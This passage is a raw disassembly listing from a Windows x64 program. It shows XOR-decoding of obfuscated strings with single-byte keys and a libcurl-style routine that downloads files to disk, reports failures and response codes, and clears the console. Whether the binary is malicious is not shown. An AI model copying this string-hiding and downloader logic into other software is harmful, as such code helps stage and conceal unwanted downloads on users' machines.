xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
movzx eax, byte [r9]
xor byte [r8 + 0x1b], al
movzx eax, byte [r9]
xor byte [r8 + 0x1c], al
movzx eax, byte [r9]
xor byte [r8 + 0x1d], al
lea r8, [r8 + 0x20]
lea rax, [r8 + r10]
cmp rax, 0x60
jb 0x140030050
mov byte [r11 + 0x60], 0
mov rdx, r11
lea rcx, [rsp + 0x110]
call fcn.140007dc0
nop
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x370]
call fcn.1400396d0
nop
lea rcx, [rsp + 0xf0]
call fcn.140016be0
lea rdx, [rsp + 0x90]
call fcn.140032580
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
xor byte [rax + 0x24], dl
mov byte [r8 + 0x24], 0
mov rdx, r15
lea rcx, [rsp + 0xf0]
call fcn.140022fd0
nop
lea rdx, [rsp + 0x170]
call fcn.1400325d0
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax]
lea rdx, [r8 + r11]
movzx ecx, byte [r9]
xor byte [rdx + r10], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
lea r8, [r8 + 0x19]
lea rax, [r8 + r10]
cmp rax, 0x64
jb 0x140030260
mov byte [r11 + 0x64], 0
mov rdx, r11
lea rcx, [rsp + 0x110]
call fcn.140007dc0
nop
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x370]
call fcn.1400396d0
nop
lea rcx, [rsp + 0xf0]
call fcn.140016be0
lea rdx, ds:[rsp + 0x90]
call fcn.140032690
lea r8, [rax + 1]
movzx r9d, byte [rax]
xor byte [r8], r9b
xor byte [rax + 2], r9b
xor byte [rax + 3], r9b
xor byte [rax + 4], r9b
xor byte [rax + 5], r9b
xor byte [rax + 6], r9b
xor byte [rax + 7], r9b
xor byte [rax + 8], r9b
xor byte [rax + 9], r9b
xor byte [rax + 0xa], r9b
xor byte [rax + 0xb], r9b
xor byte [rax + 0xc], r9b
xor byte [rax + 0xd], r9b
xor byte [rax + 0xe], r9b
xor byte [rax + 0xf], r9b
xor byte [rax + 0x10], r9b
xor byte [rax + 0x11], r9b
xor byte [rax + 0x12], r9b
xor byte [rax + 0x13], r9b
xor byte [rax + 0x14], r9b
xor byte [rax + 0x15], r9b
xor byte [rax + 0x16], r9b
xor byte [rax + 0x17], r9b
xor byte [rax + 0x18], r9b
xor byte [rax + 0x19], r9b
xor byte [rax + 0x1a], r9b
xor byte [rax + 0x1b], r9b
xor byte [rax + 0x1c], r9b
xor byte [rax + 0x1d], r9b
xor byte [rax + 0x1e], r9b
xor byte [rax + 0x1f], r9b
xor byte [rax + 0x20], r9b
xor byte [rax + 0x21], r9b
xor byte [rax + 0x22], r9b
xor byte [rax + 0x23], r9b
mov byte [r8 + 0x23], 0
mov rdx, r15
lea rcx, [rsp + 0xf0]
call fcn.140022fd0
nop
lea rdx, [rsp + 0x170]
call fcn.1400326e0
mov r9, rax
lea r10, [rax + 1]
lea r8, [rax + 3]
sub rbx, rax
nop dword [rax]
lea rdx, [r8 + r10]
movzx ecx, byte [r9]
xor byte [rdx + rbx], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
movzx eax, byte [r9]
xor byte [r8 + 0x1b], al
movzx eax, byte [r9]
xor byte [r8 + 0x1c], al
movzx eax, byte [r9]
xor byte [r8 + 0x1d], al
movzx eax, byte [r9]
xor byte [r8 + 0x1e], al
lea r8, [r8 + 0x21]
lea rax, [r8 + rbx]
cmp rax, 0x63
jb 0x140030450
mov byte ds:[r10 + 0x63], 0
mov rdx, r10
lea rcx, [rsp + 0x110]
call fcn.140007dc0
nop
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x370]
call fcn.1400396d0
nop
lea rcx, [rsp + 0xf0]
call fcn.140016be0
mov r12d, r13d
mov r14, qword [rsp + 0x378]
mov rbx, qword [rsp + 0x370]
cmp rbx, r14
je 0x14003092a
add rbx, 0x20
movabs r13, 0xcccccccccccccccd
nop word [rax + rax]
inc r12d
mov r15, qword [rbx - 0x10]
lea rsi, [rbx - 0x20]
cmp qword [rbx - 8], 0xf
jbe 0x1400305f6
mov rsi, qword [rbx - 0x20]
call fcn.140100b90
mov qword [rsp + 0x350], rsi
mov qword [rsp + 0x358], r15
lea r8, [rsp + 0x350]
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.140005980
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x150]
call fcn.1400072e0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x330], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x70], ecx
lea rax, [0x1401c48e8]
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x500], xmm0
mov eax, dword [rsp + 0x330]
test eax, eax
je 0x140030674
cmp eax, 1
setne sil
jmp 0x14003067f
xor sil, sil
test ecx, ecx
jne 0x140030f6c
lea rcx, [rsp + 0x50]
call fcn.140004160
test sil, sil
jne 0x140030906
movdqa xmm0, xmmword [0x1401a5aa0]
movdqu xmmword ds:[rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x6372756f
mov dword [rsp + 0x64], 0xa7365
lea rdx, [rsp + 0x51]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004620
mov rsi, rax
mov edx, r12d
lea rcx, [rsp + 0xf0]
call fcn.140005640
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x1400306e7
mov rax, qword [rax]
mov rdx, rax
mov rcx, rsi
call fcn.140026440
lea rdx, [0x1401a1734]
mov rcx, rax
call fcn.140004620
mov rsi, rax
mov r8, qword [rsp + 0x378]
sub r8, qword [rsp + 0x370]
sar r8, 6
lea r9, [rsp + 0x515]
nop dword [rax]
nop dword [rax + rax]
dec r9
mov rax, r13
mul r8
shr rdx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8, rdx
test rdx, rdx
jne 0x140030730
lea r8, [rsp + 0x515]
mov rdx, r9
lea rcx, [rsp + 0x90]
call fcn.140025e80
nop
lea rdx, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0xf
cmova rdx, qword [rsp + 0x90]
mov r8, qword [rsp + 0xa0]
mov rcx, rsi
call fcn.140026440
lea rdx, [0x140004800]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x90]
call fcn.1400041e0
nop
lea rcx, [rsp + 0xf0]
call fcn.1400041e0
lea rdx, [rbx - 0x20]
lea rcx, [rsp + 0x90]
call fcn.140007f20
mov rsi, rax
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400307ea
mov rcx, qword [rax]
lea rdx, [0x1401a0fb4]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov r15, rax
test rax, rax
jne 0x140030810
lea rcx, str.Failed_to_create_file_on_the_disk_n
call fcn.1400294c0
jmp 0x1400308e6
call fcn.14009ce70
mov rdi, rax
mov r8, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140030825
mov r8, qword [rbx]
mov edx, 0x2712
mov rcx, rdi
call fcn.14009fd20
mov r8, r15
mov edx, 0x2711
mov rcx, rdi
call fcn.14009fd20
lea r8, [0x1400295c0]
mov edx, 0x4e2b
mov rcx, rdi
call fcn.14009fd20
mov edx, 0x34
lea r8d, [rdx - 0x33]
mov rcx, rdi
call fcn.14009fd20
mov rcx, rdi
call fcn.14009cee0
test eax, eax
je 0x140030893
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140030885
mov rdx, qword [rbx]
lea rcx, str.Failed_to_download:__s_n
call fcn.1400294c0
jmp 0x1400308e6
mov dword [rsp + 0x340], 0
lea r8, [rsp + 0x340]
mov edx, 0x200002
mov rcx, rdi
call fcn.14009ce40
mov edx, dword [rsp + 0x340]
lea eax, [rdx - 0xc8]
cmp eax, 1
jbe 0x1400308d3
lea rcx, str.Response_code:__d_n
call fcn.1400294c0
jmp 0x1400308e6
mov rcx, rdi
call fcn.14009ce10
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rsi
call fcn.1400041e0
mov dword [rsp + 0x40], 0x736c6340
mov byte [rsp + 0x44], 0
lea rcx, [rsp + 0x41]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rbx, 0x40
lea rax, [rbx - 0x20]
cmp rax, r14
jne 0x1400305e0
mov r14, qword [rsp + 0x378]
mov rbx, qword [rsp + 0x370]
xor r13d, r13d
xor sil, sil
cmp rbx, r14
je 0x140030aa2
nop word [rax + rax]
mov r15, qword [rbx + 0x10]
mov rdi, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140030951
mov rdi, qword [rbx]
call fcn.140100b90
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], r15
lea r8, [rsp + 0x70]
mov edx, eax
lea rcx, [rsp + 0x90]
call fcn.140005980
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x330]
call fcn.1400072e0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x150], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x350], ecx
lea rax, [0x1401c48e8]
mov qword [rsp + 0x358], rax
movaps xmm0, xmmword [rsp + 0x350]
movdqa xmmword [rsp + 0x500], xmm0
mov eax, dword [rsp + 0x150]
test eax, eax
je 0x1400309d5
cmp eax, 1
setne dil
jmp 0x1400309e8
xor dil, dil
test ecx, ecx
jne 0x1400310d8
lea rcx, [rsp + 0x90]
call fcn.140004160
test dil, dil
jne 0x140030a78
test sil, sil
jne 0x140030a53
movdqa xmm0, xmmword [0x1401a5990]
movdqu xmmword [rsp + 0x90], xmm0
movdqa xmm1, xmmword [0x1401a5ad0]
movdqu xmmword [rsp + 0xa0], xmm1
movdqa xmm0, xmmword [str._be_downloaded:_nJH_n]
movdqu xmmword [rsp + 0xb0], xmm0
mov word [rsp + 0xc0], 0xa
lea rdx, [rsp + 0x91]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004620
mov sil, 1
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140030a60
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140026440
mov rcx, rax
call fcn.14003cfa0
add rbx, 0x40
cmp rbx, r14
jne 0x140030940
test sil, sil
jne 0x140030f86
mov r14, qword [rsp + 0x378]
mov rbx, qword [rsp + 0x370]
test rbx, rbx
je 0x140030b29
cmp rbx, r14
je 0x140030ad6
lea rcx, [rbx + 0x20]
call fcn.1400041e0
mov rcx, rbx
call fcn.1400041e0
add rbx, 0x40
cmp rbx, r14
jne 0x140030ab0
mov rbx, qword [rsp + 0x370]
mov rdx, qword [rsp + 0x380]
sub rdx, rbx
and rdx, 0xffffffffffffffc0
mov rax, rbx
cmp rdx, 0x1000
jb 0x140030b0d
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140030b0d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.140101bac
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x370], xmm0
mov qword [rsp + 0x380], r13
lea rcx, [rsp + 0x3c8]
call fcn.1400041e0
nop
lea rcx, [rsp + 0x3a8]
call fcn.1400041e0
nop
lea rcx, [rsp + 0x388]
call fcn.1400041e0
nop
mov rax, qword [rsp + 0x220]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x220], rax
mov rax, qword [rsp + 0x220]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x21c], edx
lea rcx, [rsp + 0x230]
call fcn.140020500
lea rcx, ds:[rsp + 0x238]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x2d0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword ds:[rsp + 0x520]
xor rcx, rsp
call fcn.140101720
lea r11, [rsp + 0x530]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call fcn.140004ca0
nop
call fcn.140004ca0
int3
call fcn.140004ca0
nop
shr rdx, 0x20
lea r8, [rsp + 0x70]
lea rcx, str.create_directory
call fcn.140006900
nop
call fcn.140004ca0
int3
call fcn.140004ca0
nop
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x330]
lea rcx, str.exists
call fcn.1400069e0
nop
call fcn.140004ca0
int3
nop dword [rax + rax]
call fcn.140004ca0
int3
call fcn.140004ca0
nop
lea r8, [rsp + 0x350]
lea rdx, [rsp + 0x330]
lea rcx, str.exists
call fcn.1400069e0
nop
mov byte [rax + 0xae], r10b
call fcn.140004620
lea rdx, [0x140004800]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14002c630
nop
call fcn.140004ca0
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0x90]
call fcn.140031270
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
mov byte [rax + 0x20], 0
call fcn.140004620
lea rdx, [0x140004800]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14002c630
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, ds:[rsp + 0x90]
call fcn.140031330
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
xor byte [rax + 0x20], r8b
xor byte [rax + 0x21], r8b
xor byte [rax + 0x22], r8b
xor byte [rax + 0x23], r8b
xor byte [rax + 0x24], r8b
xor byte [rax + 0x25], r8b
xor byte [rax + 0x26], r8b
xor byte [rax + 0x27], r8b
xor byte [rax + 0x28], r8b
xor byte [rax + 0x29], r8b
xor byte [rax + 0x2a], r8b
xor byte [rax + 0x2b], r8b
xor byte [rax + 0x2c], r8b
xor byte [rax + 0x2d], r8b
xor byte [rax + 0x2e], r8b
xor byte [rax + 0x2f], r8b
xor byte [rax + 0x30], r8b
xor byte [rax + 0x31], r8b
xor byte [rax + 0x32], r8b
xor byte [rax + 0x33], r8b
xor byte [rax + 0x34], r8b
xor byte [rax + 0x35], r8b
xor byte [rax + 0x36], r8b
xor byte [rax + 0x37], r8b
xor byte [rax + 0x38], r8b
xor byte [rax + 0x39], r8b
xor byte [rax + 0x3a], r8b
xor byte [rax + 0x3b], r8b
xor byte [rax + 0x3c], r8b
xor byte [rax + 0x3d], r8b
xor byte [rax + 0x3e], r8b
xor byte [rax + 0x3f], r8b
xor byte [rax + 0x40], r8b
xor byte [rax + 0x41], r8b
xor byte [rax + 0x42], r8b
xor byte [rax + 0x43], r8b
xor byte [rax + 0x44], r8b
xor byte [rax + 0x45], r8b
xor byte [rax + 0x46], r8b
xor byte [rax + 0x47], r8b
xor byte [rax + 0x48], r8b
xor byte [rax + 0x49], r8b
xor byte [rax + 0x4a], r8b
xor byte [rax + 0x4b], r8b
xor byte [rax + 0x4c], r8b
xor byte [rax + 0x4d], r8b
xor byte [rax + 0x4e], r8b
xor byte [rax + 0x4f], r8b
xor byte [rax + 0x50], r8b
xor byte [rax + 0x51], r8b
mov byte [rax + 0x52], 0
call fcn.140004620
lea rdx, [0x140004800]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14002c630
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, ds:[rsp + 0x330]
call fcn.140031580
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
mov byte [rax + 0xe], 0
call fcn.140004620
lea rdx, [0x140004800]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14002c630
nop
nop
call fcn.140004ca0
nop
mov byte [rdx + 0x45], 0
mov rcx, r10
call fcn.140004620
lea rdx, [0x140004800]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14002c630
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x500]
lea rcx, str.exists
call fcn.1400069e0
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x90]
call fcn.1400327a0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
xor byte [rax + 0x20], r8b
xor byte [rax + 0x21], r8b
xor byte [rax + 0x22], r8b
xor byte [rax + 0x23], r8b
xor byte [rax + 0x24], r8b
xor byte [rax + 0x25], r8b
xor byte [rax + 0x26], r8b
xor byte [rax + 0x27], r8b
xor byte [rax + 0x28], r8b
xor byte [rax + 0x29], r8b
xor byte [rax + 0x2a], r8b
xor byte [rax + 0x2b], r8b
xor byte [rax + 0x2c], r8b
xor byte [rax + 0x2d], r8b
xor byte [rax + 0x2e], r8b
xor byte [rax + 0x2f], r8b
xor byte [rax + 0x30], r8b
xor byte [rax + 0x31], r8b
xor byte [rax + 0x32], r8b
xor byte [rax + 0x33], r8b
xor byte [rax + 0x34], r8b
xor byte [rax + 0x35], r8b
xor byte [rax + 0x36], r8b
xor byte [rax + 0x37], r8b
xor byte [rax + 0x38], r8b
xor byte [rax + 0x39], r8b
xor byte [rax + 0x3a], r8b
xor byte [rax + 0x3b], r8b
xor byte [rax + 0x3c], r8b
xor byte [rax + 0x3d], r8b
xor byte [rax + 0x3e], r8b
xor byte [rax + 0x3f], r8b
xor byte [rax + 0x40], r8b
xor byte [rax + 0x41], r8b
xor byte [rax + 0x42], r8b
xor byte [rax + 0x43], r8b
xor byte [rax + 0x44], r8b
xor byte [rax + 0x45], r8b
xor byte [rax + 0x46], r8b
xor byte [rax + 0x47], r8b
xor byte [rax + 0x48], r8b
xor byte [rax + 0x49], r8b
xor byte [rax + 0x4a], r8b
mov byte [rax + 0x4b], 0
call fcn.140004620
call fcn.14002c630
nop
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0x500]
lea rcx, str.exists
call fcn.1400069e0
int3